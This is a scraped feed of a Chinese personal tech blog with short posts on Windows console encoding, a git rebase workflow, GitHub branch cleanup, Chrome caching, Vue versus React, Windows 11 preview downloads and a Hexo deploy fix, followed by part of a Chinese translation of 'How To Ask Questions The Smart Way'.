  1. 同理，可以修改 PowerShell 的默认编码，位置：Computer\HKEY_CURRENT_USER\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe，如果没有 CodePage，则在该项下新建一个 DWORD（32位值），命名为CodePage，值设为65001

重启 cmd/PowerShell 后生效。

永久修改方法二

创建文本文件 characterSet.reg，内容如下：

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Console\%SystemRoot%_SysWOW64_WindowsPowerShell_v1.0_powershell.exe]
"CodePage"=dword:0000fde9

[HKEY_CURRENT_USER\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe]
"CodePage"=dword:0000fde9

[HKEY_CURRENT_USER\Console\%SystemRoot%_System32_cmd.exe]
"CodePage"=dword:0000fde9

双击运行。

再次测试中文显示

运行之前的测试脚本，显示如下：

test chinese character view  测试中文字符显示
Press any key to continue . . .

能够正常显示，说明设置成功。

]]> oh-my-posh Windows，oh-my-posh git操作流程 /2021/06/01/git-cao-zuo-liu-cheng/ 先学一下git命令的含义,判断什么情况下使用

前置条件已安装好git环境,并有远程仓库

  1. 先拉取指定远程仓库别人的提交git fetch teamds

  2. 合并git rebase teamds/main

    image-20210723140007775

    • 出现冲突,按照提示进入产生冲突的文件中,手动判断并解决冲突

      当 rebase 发生冲突时，git 会停止 rebase 并让你去解决冲突，解决完之后不能直接 commit，而是应该用 continue 参数继续执行 rebase

      # 解决冲突之后
      # 如果是合并代码时产生的冲突，需要把修改的文件放入暂存区
      git add <冲突的文件>
      git rebase --continue
      # or
      # 不解决冲突，还原回 rebase 之前的状态
      git rebase --abort

  3. 查看当前git所管理的文档的状态git status

    • 当工作树清除时 ,此时可以提交git push操作，工作树干净的时候没有红绿颜色。

      image-20210723121532675

  4. 将所有的变更提交到git本地仓库的暂存区git add -A
    如图所示image-20210723123230945

  5. 将添加到暂存区的内容提交git commit -m "docs:提交723log",

    ​ git commit 主要是将暂存区里的改动给提交到本地的版本库。每次使用git commit 命令我们都会在本地版本库生成一个40位的哈希值，这个哈希值也叫commit-id，
    ​ commit-id在版本回退的时候是非常有用的，它相当于一个快照,可以在未来的任何时候通过与git reset的组合命令回到这里.

    • 提交的内容添加一段描述信息-m "docs:提交723log"

    • 仅有一个commit提交的情况,可以直接git push <仓库源别名>/<分支名>
      image-20210723123617169

    • 如果本地有多个commit提交一定要在本地合并,

      • 查看远程和本地的loggit log --oneline --decorate --graph --all image-20210723132026382

      • 退出查看log模式,在底部输入字母qimage-20210723132312106

      • 合并多个commitgit rebase -i HEAD~3,看上面的log信息提示有3个commit,那么后面HEAD~的数字就是3,依次类推image-20210723132906415image-20210723132935765

      • 输入字母i,修改内容image-20210723133110326

      • 合并多个commit操作以及保存退出输入:wqimage-20210723133625872

      • 合并的提示信息,输出合并后的描述信息,退出并保存:wqimage-20210723133756341

      • 再次查看log输入git log --oneline --decorate --graph --allimage-20210723134928321

6.将提交的版本推送到远程仓库git push forkds le

git push forkds le中的forkds是仓库的别名,le是仓库的分支,

image-20210723135444133

简约的操作流程

0.查看git状态
git status
    如果本地有修改跳到第1步，
    如果本地没有任何更改跳到第4步做到第6步。
1.添加暂存区
git add -A
2.提交版本
git commit -m "docs:99"
3.查看log
git log --oneline --decorate --graph --all
自行判断是否存在多个commit提交,多个需要合并
git rebase -i HEAD~<合并的提交数量>
详情参考上面的第5条步骤中多个commit的情况
4.拉取远程
git fetch teamds
5.合并
git rebase teamds/main
> 出现冲突时当 rebase 发生冲突时，git 会停止 rebase 并让你去解决冲突，解决完之后不能直接 commit，而是应该用 continue 参数继续执行 rebase
> 解决冲突之后
  如果是合并代码时产生的冲突，需要把修改的文件放入暂存区
      git add <冲突的文件>
      git rebase --continue
      
6.查看状态
git status
7.推送
git push forkds/99 -f
8.发起PR--不需要99操作,99推送完在群里讲一下,茂宏和兔兔看到会合并,合并完后按照完整流程步骤走
]]> git Git 编辑器 GitHub PR 合并后自动删除相应的分支 /2021/05/26/github-pr-he-bing-hou-zi-dong-shan-chu-xiang-ying-de-fen-zhi/ GitHub PR 合并后自动删除相应的分支

GitHub 默认不会删除和 PR 关连的 remote 分支，久而久之，随着 PR 的数量的增加，remote 分支也越来越多。合并后的 PR 相关的修改内容在 GitHub 面板里能够查看到，所以即使删除了和 PR 相关的分支也没有太大影响，但是这样对整个工作流来说就增加了一步额外的操作。

有两种手动删除 GitHub remote 分支的方式：

  1. GitHub branches 页面可以删除 remote 分支，删除后 local 的 remote branch 缓存需要手动清理一下

    git remote prune <remote-name>

  2. 命令行删除 remote 分支

    git push origin :<branch-name>

    如果需要清理 local 的 remote branch 缓存，同上

    自动删除 remote 分支

    拥有仓库管理员权限的用户可以配置 PR 合并后自动删除相应的分支。

    1. 打开仓库主页面
    2. 打开 Settings
    3. 在 Merge button 下面，勾选 Automatically delete head branches

    参考

]]> git git，github 禁用Chrome缓存功能 /2021/05/25/jin-yong-chrome-huan-cun-gong-neng/ 如何禁用Chrome 缓存功能

一般，禁止Chrome浏览器的缓存功能有几种方式。

  1. 使用隐身模式Shift + Control + N. 这种方法只能在打开的页面上消除之前缓存的影响，对于打开隐身模式之后做的任何更改都无法刷新缓存，因此也不甚实用。
    1650879612192

  2. 在DevTool (Shift + Control + I) 中Disable Cache. 这种方法基本能够做到完全禁止缓存，然而缺点是必须要将开发模式一直打开，占用屏幕空间。而且，每打开一个标签页都需要再进行一番操作，相当不便利。
    image-20220425181752578

  3. 更改Chrome 属性,右键浏览器,悬着属性在目标栏中加上 –-disk-cache-size=1 切记前面有空格

  4. 使用插件的方式

    今天我们发现了这样一款插件，可以 完美实现这一功能。插件名为Classic Cache Killer, 可以一键开启或者关闭缓存。插件的下载链接如下：https://chrome.google.com/webstore/detail/classic-cache-killer/kkmknnnjliniefekpicbaaobdnjjikfp

    安装插件完成浏览器又上方会有一个小图标,点击就会开关.非常方便….

]]> web web Vue和React的区别 /2021/05/24/vue-he-react-de-qu-bie/ 个人理解Vue和React区别

Vue和React相同点非常多：

  1. 都使用Virtural DOM

  2. 都使用组件化思想，流程基本一致

  3. 都是响应式，推崇单向数据流

  4. 都有成熟的社区，都支持服务端渲染

  5. 语法上的区别

    语法上的区别

    Vue 使用的是 web 开发者更熟悉的模板与特性

    vue语法更符合Web开发者的开发习惯,vue采用的是模板+JS+CSS的组合模式呈现,跟之前的前端HTML+JS+CSS更好的配合,可以说Vue更加注重web开发者的习惯

    React 的特色在于函数式编程的理念和丰富的技术选型

    Vue 比起 React 更容易被前端工程师接受，这是一个直观的感受

    总结:React 是手动挡，Vue 是自动挡。

在vue作者的评价中曾经提过:

这里我可以大方地承认，如果多年以后要论历史地位，React 肯定是高于 Vue 的。

参考文章:http://caibaojian.com/vue-vs-react.html

]]> React web React win11安装教程 /2021/05/10/win11-an-zhuang-jiao-cheng/ Windows11 Insider Preview 10.0.22000.51简体中文专业版

官方推送的是 22000.51，是由 22000.1 和累积更新 KB5004564 组成。

因此，在本帖，两个版本均提供分享。

image-20210701135634715

**一、Build 22000.51（推送版本）
这一版本是直接将更新进行集成。无漏掉集成的更新。未启用任何其他功能。（大小为 4.56GB）
链接：https://pan.baidu.com/s/1nNReYjOK0WAnqKXJvDMWqA
提取码：9248

**

链接：https://pan.xunlei.com/s/VMdNAaZVaCKmrd-HzSAdcwJ-A1
提取码：uwx3

二、Build 22000.1（无任何累积更新）(貌似有点卡顿 尽量不要测试此版本)
这一版本是在转制过程开始前，将 Build 22000.51 中的所有更新都删除后获得。（大小为 4.20GB）
链接：https://pan.baidu.com/s/1OoqScPh1ugMPpdLZURmoNQ
提取码：9248

image-20210701135712019

image-20210701135723329

如若发现win11的菜单变成以前的了，请进行如下操作:

1、 打开注册表编辑器；

2、进入HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced

3、 双击 Start_ShowClassicMode 并将其赋值为 0；没有就新建一个dword32的Start_ShowClassicMode

4、 重启Win11后，就能看到Win11的菜单了；

]]> Windows Windows win11 hexo发生error：spawn failed错误的解决方法 /2020/08/07/hexo-fa-sheng-error-spawn-failed-cuo-wu-de-jie-jue-fang-fa/ hexo发生error：spawn failed错误的解决方法

hexo突然上传不了，出错了。

今天hexo突然部署不了文章了，错误页面如下。

image-20210607182538223

然后就去github仓库看了一下，发下之前的ssh key没了，重新设了一个也连接不上。最后找到一个方法。

在存放key的目录下新建config文件。

image-20210607194226257

填入以下内容

Host github.com
User 你GitHub的邮箱
Hostname ssh.github.com
PreferredAuthentications publickey
IdentityFile ~/.ssh/id_rsa
Port 443

然后用 ssh -T git@github.com命令测试能否连接

如果没有出现ssh不能连接的话，忽略以上内容

接着回到博客的根目录

第一种方法：

删除.deploy_git文件

然后输入git config --gloabl core.autocrlf false

重新hexo clean

hexo g

hexo d

部署

但是发现好像只是一次性的。并不能永久解决

第二种方法：

打开_config.yml配置文件

修改以下内容

deploy:

type: git

repo: https://github.com/yourname/yourname.github.io.git

branch: master

其中的repo修改为

git@github.com:yourname/yourname.github.io.git

]]> blog hexo 提问的智慧 /2020/07/30/ti-wen-de-zhi-hui/ 提问的智慧

PRs Welcome

How To Ask Questions The Smart Way

Copyright © 2001,2006,2014 Eric S. Raymond, Rick Moen

本指南英文版版权为 Eric S. Raymond, Rick Moen 所有。

原文网址：http://www.catb.org/~esr/faqs/smart-questions.html

Copyleft 2001 by D.H.Grand(nOBODY/Ginux), 2010 by Gasolin, 2015 by Ryan Wu

本中文指南是基于原文 3.10 版以及 2010 年由 Gasolin 所翻译版本的最新翻译；

协助指出翻译问题，请发 Issue，或直接发 Pull Request 给我。

本文另有繁體中文版。

原文版本历史

目录

声明

许多项目在他们的使用协助/说明网页中链接了本指南，这么做很好，我们也鼓励大家都这么做。但如果你是负责管理这个项目网页的人，请在超链接附近的显著位置上注明：

本指南不提供此项目的实际支持服务！

我们已经深刻领教到少了上述声明所带来的痛苦。因为少了这点声明，我们不停地被一些白痴纠缠。这些白痴认为既然我们发布了这本指南，那么我们就有责任解决世上所有的技术问题。

如果你因寻求某些帮助而阅读本指南，并在离开时还觉得可以从本文作者这里得到直接帮助，那你就是我们之前说的那些白痴之一。别问我们问题，我们只会忽略你。我们在这本指南中是教你如何从那些真正懂得你所遇到软件或硬件问题的人取得协助，而 99% 的情况下那不会是我们。除非你确定本指南的作者之一刚好是你所遇到的问题领域的专家，否则请不要打扰我们，这样大家都会开心一点。

简介

在黑客的世界里，当你拋出一个技术问题时，最终是否能得到有用的回答，往往取决于你所提问和追问的方式。本指南将教你如何正确的提问以获得你满意的答案。

不只是黑客，现在开源（Open Source）软件已经相当盛行，你常常也可以由其他有经验的使用者身上得到好答案，这是件好事；使用者比起黑客来，往往对那些新手常遇到的问题更宽容一些。然而，将有经验的使用者视为黑客，并采用本指南所提的方法与他们沟通，同样也是能从他们身上得到满意回答的最有效方式。

首先你应该明白，黑客们喜爱有挑战性的问题，或者能激发他们思维的好问题。如果我们并非如此，那我们也不会成为你想询问的对象。如果你给了我们一个值得反复咀嚼玩味的好问题，我们自会对你感激不尽。好问题是激励，是厚礼。好问题可以提高我们的理解力，而且通常会暴露我们以前从没意识到或者思考过的问题。对黑客而言，”好问题！”是诚挚的大力称赞。

尽管如此，黑客们有着蔑视或傲慢面对简单问题的坏名声，这有时让我们看起来对新手、无知者似乎较有敌意，但其实不是那样的。

我们不讳言我们对那些不愿思考、或者在发问前不做他们该做的事的人的蔑视。那些人是时间杀手 —— 他们只想索取，从不付出，消耗我们可用在更有趣的问题或更值得回答的人身上的时间。我们称这样的人为 失败者（撸瑟） （由于历史原因，我们有时把它拼作 lusers）。

我们意识到许多人只是想使用我们写的软件，他们对学习技术细节没有兴趣。对大多数人而言，电脑只是种工具，是种达到目的的手段而已。他们有自己的生活并且有更要紧的事要做。我们了解这点，也从不指望每个人都对这些让我们着迷的技术问题感兴趣。尽管如此，我们回答问题的风格是指向那些真正对此有兴趣并愿意主动参与解决问题的人，这一点不会变，也不该变。如果连这都变了，我们就是在降低做自己最擅长的事情上的效率。

我们（在很大程度上）是自愿的，从繁忙的生活中抽出时间来解答疑惑，而且时常被提问淹没。所以我们无情的滤掉一些话题，特别是拋弃那些看起来像失败者的家伙，以便更高效的利用时间来回答赢家（winner）的问题。

如果你厌恶我们的态度，高高在上，或过于傲慢，不妨也设身处地想想。我们并没有要求你向我们屈服 —— 事实上，我们大多数人非常乐意与你平等地交流，只要你付出小小努力来满足基本要求，我们就会欢迎你加入我们的文化。但让我们帮助那些不愿意帮助自己的人是没有效率的。无知没有关系，但装白痴就是不行。

所以，你不必在技术上很在行才能吸引我们的注意，但你必须表现出能引导你变得在行的特质 —— 机敏、有想法、善于观察、乐于主动参与解决问题。如果你做不到这些使你与众不同的事情，我们建议你花点钱找家商业公司签个技术支持服务合同，而不是要求黑客个人无偿地帮助你。

如果你决定向我们求助，当然你也不希望被视为失败者，更不愿成为失败者中的一员。能立刻得到快速并有效答案的最好方法，就是像赢家那样提问 —— 聪明、自信、有解决问题的思路，只是偶尔在特定的问题上需要获得一点帮助。

（欢迎对本指南提出改进意见。你可以 email 你的建议至 esr@thyrsus.com 或 respond-auto@linuxmafia.com。然而请注意，本文并非网络礼节的通用指南，而我们通常会拒绝无助于在技术论坛得到有用答案的建议）。

在提问之前

在你准备要通过电子邮件、新闻群组或者聊天室提出技术问题前，请先做到以下事情：

  1. 尝试在你准备提问的论坛的旧文章中搜索答案。
  2. 尝试上网搜索以找到答案。
  3. 尝试阅读手册以找到答案。
  4. 尝试阅读常见问题文件（FAQ）以找到答案。
  5. 尝试自己检查或试验以找到答案。
  6. 向你身边的强者朋友打听以找到答案。
  7. 如果你是程序开发者，请尝试阅读源代码以找到答案。

当你提出问题的时候，请先表明你已经做了上述的努力；这将有助于树立你并不是一个不劳而获且浪费别人的时间的提问者。如果你能一并表达在做了上述努力的过程中所学到的东西会更好，因为我们更乐于回答那些表现出能从答案中学习的人的问题。

运用某些策略，比如先用 Google 搜索你所遇到的各种错误信息（搜索 Google 论坛和网页），这样很可能直接就找到了能解决问题的文件或邮件列表线索。即使没有结果，在邮件列表或新闻组寻求帮助时加上一句 我在 Google 中搜过下列句子但没有找到什么有用的东西 也是件好事，即使它只是表明了搜索引擎不能提供哪些帮助。这么做（加上搜索过的字串）也让遇到相似问题的其他人能被搜索引擎引导到你的提问来。

别着急，不要指望几秒钟的 Google 搜索就能解决一个复杂的问题。在向专家求助之前，再阅读一下常见问题文件（FAQ）、放轻松、坐舒服一些，再花点时间思考一下这个问题。相信我们，他们能从你的提问看出你做了多少阅读与思考，如果你是有备而来，将更有可能得到解答。不要将所有问题一股脑拋出，只因你的第一次搜索没有找到答案（或者找到太多答案）。

准备好你的问题，再将问题仔细的思考过一遍，因为草率的发问只能得到草率的回答，或者根本得不到任何答案。越是能表现出在寻求帮助前你为解决问题所付出的努力，你越有可能得到实质性的帮助。

小心别问错了问题。如果你的问题基于错误的假设，某个普通黑客（J. Random Hacker）多半会一边在心里想着蠢问题…， 一边用无意义的字面解释来答复你，希望着你会从问题的回答（而非你想得到的答案）中汲取教训。

绝不要自以为够格得到答案，你没有；你并没有。毕竟你没有为这种服务支付任何报酬。你将会是自己去挣到一个答案，靠提出有内涵的、有趣的、有思维激励作用的问题 —— 一个有潜力能贡献社区经验的问题，而不仅仅是被动的从他人处索取知识。

另一方面，表明你愿意在找答案的过程中做点什么是一个非常好的开端。谁能给点提示？、我的这个例子里缺了什么？以及我应该检查什么地方比请把我需要的确切的过程贴出来更容易得到答复。因为你表现出只要有人能指个正确方向，你就有完成它的能力和决心。

当你提问时

慎选提问的论坛

小心选择你要提问的场合。如果你做了下述的事情，你很可能被忽略掉或者被看作失败者：

  • 在与主题不合的论坛上贴出你的问题。
  • 在探讨进阶技术问题的论坛张贴非常初级的问题；反之亦然。
  • 在太多的不同新闻群组上重复转贴同样的问题（cross-post）。
  • 向既非熟人也没有义务解决你问题的人发送私人电邮。

黑客会剔除掉那些搞错场合的问题，以保护他们沟通的渠道不被无关的东西淹没。你不会想让这种事发生在自己身上的。

因此，第一步是找到对的论坛。再说一次，Google 和其它搜索引擎还是你的朋友，用它们来找到与你遭遇到困难的软硬件问题最相关的网站。通常那儿都有常见问题（FAQ）、邮件列表及相关说明文件的链接。如果你的努力（包括阅读 FAQ）都没有结果，网站上也许还有报告 Bug（Bug-reporting）的流程或链接，如果是这样，链过去看看。

向陌生的人或论坛发送邮件最可能是风险最大的事情。举例来说，别假设一个提供丰富内容的网页的作者会想充当你的免费顾问。不要对你的问题是否会受到欢迎做太乐观的估计 —— 如果你不确定，那就向别处发送，或者压根别发。

在选择论坛、新闻群组或邮件列表时，别太相信名字，先看看 FAQ 或者许可书以弄清楚你的问题是否切题。发文前先翻翻已有的话题，这样可以让你感受一下那里的文化。事实上，事先在新闻组或邮件列表的历史记录中搜索与你问题相关的关键词是个极好的主意，也许这样就找到答案了。即使没有，也能帮助你归纳出更好的问题。

别像机关枪似的一次”扫射”所有的帮助渠道，这就像大喊大叫一样会使人不快。要一个一个地来。

搞清楚你的主题！最典型的错误之一是在某种致力于跨平台可移植的语言、套件或工具的论坛中提关于 Unix 或 Windows 操作系统程序界面的问题。如果你不明白为什么这是大错，最好在搞清楚这之间差异之前什么也别问。

一般来说，在仔细挑选的公共论坛中提问，会比在私有论坛中提同样的问题更容易得到有用的回答。有几个理由可以支持这点，一是看潜在的回复者有多少，二是看观众有多少。黑客较愿意回答那些能帮助到许多人的问题。

可以理解的是，老练的黑客和一些热门软件的作者正在接受过多的错发信息。就像那根最后压垮骆驼背的稻草一样，你的加入也有可能使情况走向极端 —— 已经好几次了，一些热门软件的作者从自己软件的支持中抽身出来，因为伴随而来涌入其私人邮箱的无用邮件变得无法忍受。

Stack Overflow

搜索，然后 在 Stack Exchange 问。

近年来，Stack Exchange 社区已经成为回答技术及其他问题的主要渠道，尤其是那些开放源码的项目。

因为 Google 索引是即时的，在看 Stack Exchange 之前先在 Google 搜索。有很高的机率某人已经问了一个类似的问题，而且 Stack Exchange 网站们往往会是搜索结果中最前面几个。如果你在 Google 上没有找到任何答案，你再到特定相关主题的网站去找。用标签（Tag）搜索能让你更缩小你的搜索结果。

Stack Exchange 已经成长到超过一百个网站，以下是最常用的几个站：

  • Super User 是问一些通用的电脑问题，如果你的问题跟代码或是写程序无关，只是一些网络连线之类的，请到这里。
  • Stack Overflow 是问写程序有关的问题。
  • Server Fault 是问服务器和网管相关的问题。

网站和 IRC 论坛

本地的使用者群组（user group），或者你所用的 Linux 发行版本也许正在宣传他们的网页论坛或 IRC 频道，并提供新手帮助（在一些非英语国家，新手论坛很可能还是邮件列表）， 这些地方是开始提问的好首选，特别是当你觉得遇到的也许只是相对简单或者很普通的问题时。有广告赞助的 IRC 频道是公开欢迎提问的地方，通常可以即时得到回应。

事实上，如果程序出的问题只发生在特定 Linux 发行版提供的版本（这很常见），最好先去该发行版的论坛或邮件列表中提问，再到程序本身的论坛或邮件列表提问。（否则）该项目的黑客可能仅仅回复 “用我们的版本”。

在任何论坛发文以前，先确认一下有没有搜索功能。如果有，就试着搜索一下问题的几个关键词，也许这会有帮助。如果在此之前你已做过通用的网页搜索（你也该这样做），还是再搜索一下论坛，搜索引擎有可能没来得及索引此论坛的全部内容。

通过论坛或 IRC 频道来提供使用者支持服务有增长的趋势，电子邮件则大多为项目开发者间的交流而保留。所以最好先在论坛或 IRC 中寻求与该项目相关的协助。

在使用 IRC 的时候，首先最好不要发布很长的问题描述，有些人称之为频道洪水。最好通过一句话的问题描述来开始聊天。

第二步，使用项目邮件列表

当某个项目提供开发者邮件列表时，要向列表而不是其中的个别成员提问，即使你确信他能最好地回答你的问题。查一查项目的文件和首页，找到项目的邮件列表并使用它。有几个很好的理由支持我们采用这种办法：

  • 任何好到需要向个别开发者提出的问题，也将对整个项目群组有益。反之，如果你认为自己的问题对整个项目群组来说太愚蠢，也不能成为骚扰个别开发者的理由。
  • 向列表提问可以分散开发者的负担，个别开发者（尤其是项目领导人）也许太忙以至于没法回答你的问题。
  • 大多数邮件列表都会被存档，那些被存档的内容将被搜索引擎索引。如果你向列表提问并得到解答，将来其它人可以通过网页搜索找到你的问题和答案，也就不用再次发问了。
  • 如果某些问题经常被问到，开发者可以利用此信息来改进说明文件或软件本身，以使其更清楚。如果只是私下提问，就没有人能看到最常见问题的完整场景。

如果一个项目既有”使用者” 也有”开发者”（或”黑客”）邮件列表或论坛，而你又不会动到那些源代码，那么就向”使用者”列表或论坛提问。不要假设自己会在开发者列表中受到欢迎，那些人多半会将你的提问视为干扰他们开发的噪音。

然而，如果你确信你的问题很特别，而且在”使用者” 列表或论坛中几天都没有回复，可以试试前往”开发者”列表或论坛发问。建议你在张贴前最好先暗地里观察几天以了解那里的行事方式（事实上这是参与任何私有或半私有列表的好主意）

如果你找不到一个项目的邮件列表，而只能查到项目维护者的电子邮件地址，尽管向他发信。即使是在这种情况下，也别假设（项目）邮件列表不存在。在你的电子邮件中，请陈述你已经试过但没有找到合适的邮件列表，也提及你不反对将自己的邮件转发给他人（许多人认为，即使没什么秘密，私人电子邮件也不应该被公开。通过允许将你的电子邮件转发他人，你给了相应人员处置你邮件的选择）。

使用有意义且描述明确的标题

在邮件列表、新闻群组或论坛中，大约 50 字以内的标题是抓住资深专家注意力的好机会。别用喋喋不休的帮帮忙、跪求、急（更别说救命啊！！！！这样让人反感的话，用这种标题会被条件反射式地忽略）来浪费这个机会。不要妄想用你的痛苦程度来打动我们，而应该是在这点空间中使用极简单扼要的描述方式来提出问题。

一个好标题范例是目标 —— 差异式的描述，许多技术支持组织就是这样做的。在目标部分指出是哪一个或哪一组东西有问题，在差异部分则描述与期望的行为不一致的地方。

蠢问题：救命啊！我的笔记本电脑不能正常显示了！

聪明问题：X.org 6.8.1 的鼠标光标会变形，某牌显卡 MV1005 芯片组。

更聪明问题：X.org 6.8.1 的鼠标光标，在某牌显卡 MV1005 芯片组环境下 - 会变形。

编写目标 —— 差异 式描述的过程有助于你组织对问题的细致思考。是什么被影响了？ 仅仅是鼠标光标或者还有其它图形？只在 X.org 的 X 版中出现？或只是出现在 6.8.1 版中？ 是针对某牌显卡芯片组？或者只是其中的 MV1005 型号？ 一个黑客只需瞄一眼就能够立即明白你的环境和你遇到的问题。

总而言之，请想像一下你正在一个只显示标题的存档讨论串（Thread）索引中查寻。让你的标题更好地反映问题，可使下一个搜索类似问题的人能够关注这个讨论串，而不用再次提问相同的问题。

如果你想在回复中提出问题，记得要修改内容标题，以表明你是在问一个问题， 一个看起来像 Re: 测试 或者 Re: 新 bug 的标题很难引起足够重视。另外，在不影响连贯性之下，适当引用并删减前文的内容，能给新来的读者留下线索。

对于讨论串，不要直接点击回复来开始一个全新的讨论串，这将限制你的观众。因为有些邮件阅读程序，比如 mutt ，允许使用者按讨论串排序并通过折叠讨论串来隐藏消息，这样做的人永远看不到你发的消息。

仅仅改变标题还不够。mutt 和其它一些邮件阅读程序还会检查邮件标题以外的其它信息，以便为其指定讨论串。所以宁可发一个全新的邮件。

在网页论坛上，好的提问方式稍有不同，因为讨论串与特定的信息紧密结合，并且通常在讨论串外就看不到里面的内容，故通过回复提问，而非改变标题是可接受的。不是所有论坛都允许在回复中出现分离的标题，而且这样做了基本上没有人会去看。不过，通过回复提问，这本身就是暧昧的做法，因为它们只会被正在查看该标题的人读到。所以，除非你只想在该讨论串当前活跃的人群中提问，不然还是另起炉灶比较好。

使问题容易回复

以请将你的回复发送到……来结束你的问题多半会使你得不到回答。如果你觉得花几秒钟在邮件客户端设置一下回复地址都麻烦，我们也觉得花几秒钟思考你的问题更麻烦。如果你的邮件程序不支持这样做，换个好点的；如果是操作系统不支持这种邮件程序，也换个好点的。

在论坛，要求通过电子邮件回复是非常无礼的，除非你认为回复的信息可能比较敏感（有人会为了某些未知的原因，只让你而不是整个论坛知道答案）。如果你只是想在有人回复讨论串时得到电子邮件提醒，可以要求网页论坛发送给你。几乎所有论坛都支持诸如追踪此讨论串、有回复时发送邮件提醒等功能。

用清晰、正确、精准且语法正确的语句

我们从经验中发现，粗心的提问者通常也会粗心的写程序与思考（我敢打包票）。回答粗心大意者的问题很不值得，我们宁愿把时间耗在别处。

正确的拼写、标点符号和大小写是很重要的。一般来说，如果你觉得这样做很麻烦，不想在乎这些，那我们也觉得麻烦，不想在乎你的提问。花点额外的精力斟酌一下字句，用不着太僵硬与正式 —— 事实上，黑客文化很看重能准确地使用非正式、俚语和幽默的语句。但它必须很准确，而且有迹象表明你是在思考和关注问题。

正确地拼写、使用标点和大小写，不要将its混淆为it's，loose搞成lose或者将discrete弄成discreet。不要全部用大写，这会被视为无礼的大声嚷嚷（全部小写也好不到哪去，因为不易阅读。Alan Cox 也许可以这样做，但你不行）。

更白话的说，如果你写得像是个半文盲[译注：小白]，那多半得不到理睬。也不要使用即时通信中的简写或火星文，如将的简化为d会使你看起来像一个为了少打几个键而省字的小白。更糟的是，如果像个小孩似地鬼画符那绝对是在找死，可以肯定没人会理你（或者最多是给你一大堆指责与挖苦）。

如果在使用非母语的论坛提问，你可以犯点拼写和语法上的小错，但决不能在思考上马虎（没错，我们通常能弄清两者的分别）。同时，除非你知道回复者使用的语言，否则请使用英语书写。繁忙的黑客一般会直接删除用他们看不懂语言写的消息。在网络上英语是通用语言，用英语书写可以将你的问题在尚未被阅读就被直接删除的可能性降到最低。

如果英文是你的外语（Second language），提示潜在回复者你有潜在的语言困难是很好的：
[译注：以下附上原文以供使用]

English is not my native language; please excuse typing errors.

  • 英文不是我的母语，请原谅我的错字或语法。

If you speak $LANGUAGE, please email/PM me;
I may need assistance translating my question.

  • 如果你说某语言，请寄信/私讯给我；我需要有人协助我翻译我的问题。

I am familiar with the technical terms,
but some slang expressions and idioms are difficult for me.

  • 我对技术名词很熟悉，但对于俗语或是特别用法比较不甚了解。

I’ve posted my question in $LANGUAGE and English.
I’ll be glad to translate responses, if you only use one or the other.

  • 我把我的问题用某语言和英文写出来，如果你只用一种语言回答，我会乐意将其翻译成另一种。

使用易于读取且标准的文件格式发送问题

如果你人为地将问题搞得难以阅读，它多半会被忽略，人们更愿读易懂的问题，所以：

  • 使用纯文字而不是 HTML (关闭 HTML 并不难）。
  • 使用 MIME 附件通常是可以的，前提是真正有内容（譬如附带的源代码或 patch），而不仅仅是邮件程序生成的模板（譬如只是信件内容的拷贝）。
  • 不要发送一段文字只是一行句子但自动换行后会变成多行的邮件（这使得回复部分内容非常困难）。设想你的读者是在 80 个字符宽的终端机上阅读邮件，最好设置你的换行分割点小于 80 字。
  • 但是，对一些特殊的文件不要设置固定宽度（譬如日志档案拷贝或会话记录）。数据应该原样包含，让回复者有信心他们看到的是和你看到的一样的东西。
  • 在英语论坛中，不要使用Quoted-Printable MIME 编码发送消息。这种编码对于张贴非 ASCII 语言可能是必须的，但很多邮件程序并不支持这种编码。当它们处理换行时，那些文本中四处散布的=20符号既难看也分散注意力，甚至有可能破坏内容的语意。
  • 绝对，永远不要指望黑客们阅读使用封闭格式编写的文档，像微软公司的 Word 或 Excel 文件等。大多数黑客对此的反应就像有人将还在冒热气的猪粪倒在你家门口时你的反应一样。即便他们能够处理，他们也很厌恶这么做。
  • 如果你从使用 Windows 的电脑发送电子邮件，关闭微软愚蠢的智能引号功能 （从[选项] > [校订] > [自动校正选项]，勾选掉智能引号单选框），以免在你的邮件中到处散布垃圾字符。
  • 在论坛，勿滥用表情符号和HTML功能（当它们提供时）。一两个表情符号通常没有问题，但花哨的彩色文本倾向于使人认为你是个无能之辈。过滥地使用表情符号、色彩和字体会使你看来像个傻笑的小姑娘。这通常不是个好主意，除非你只是对性而不是对答案感兴趣。

如果你使用图形用户界面的邮件程序（如微软公司的 Outlook 或者其它类似的），注意它们的默认设置不一定满足这些要求。大多数这类程序有基于选单的查看源代码命令，用它来检查发送文件夹中的邮件，以确保发送的是纯文本文件同时没有一些奇怪的字符。

精确地描述问题并言之有物

  • 仔细、清楚地描述你的问题或 Bug 的症状。
  • 描述问题发生的环境（机器配置、操作系统、应用程序、以及相关的信息），提供经销商的发行版和版本号（如：Fedora Core 4、Slackware 9.1等）。
  • 描述在提问前你是怎样去研究和理解这个问题的。
  • 描述在提问前为确定问题而采取的诊断步骤。
  • 描述最近做过什么可能相关的硬件或软件变更。
  • 尽可能的提供一个可以重现这个问题的可控环境的方法。

尽量去揣测一个黑客会怎样反问你，在你提问之前预先将黑客们可能遇到的问题回答一遍。

以上几点中，当你报告的是你认为可能在代码中的问题时，给黑客一个可以重现你的问题的环境尤其重要。当你这么做时，你得到有效的回答的机会和速度都会大大的提升。

Simon Tatham 写过一篇名为《如何有效的报告 Bug》的出色文章。强力推荐你也读一读。

话不在多而在精

你需要提供精确有内容的信息。这并不是要求你简单的把成堆的出错代码或者资料完全转录到你的提问中。如果你有庞大而复杂的测试样例能重现程序挂掉的情境，尽量将它剪裁得越小越好。

这样做的用处至少有三点。
第一，表现出你为简化问题付出了努力，这可以使你得到回答的机会增加；
第二，简化问题使你更有可能得到有用的答案；
第三，在精炼你的 bug 报告的过程中，你很可能就自己找到了解决方法或权宜之计。

别动辄声称找到 Bug

当你在使用软件中遇到问题，除非你非常、非常的有根据，不要动辄声称找到了 Bug。提示：除非你能提供解决问题的源代码补丁，或者提供回归测试来表明前一版本中行为不正确，否则你都多半不够完全确信。这同样适用在网页和文件，如果你（声称）发现了文件的Bug，你应该能提供相应位置的修正或替代文件。

请记得，还有许多其它使用者没遇到你发现的问题，否则你在阅读文件或搜索网页时就应该发现了（你在抱怨前已经做了这些，是吧？）。这也意味着很有可能是你弄错了而不是软件本身有问题。

编写软件的人总是非常辛苦地使它尽可能完美。如果你声称找到了 Bug，也就是在质疑他们的能力，即使你是对的，也有可能会冒犯到其中某部分人。当你在标题中嚷嚷着有Bug时，这尤其严重。
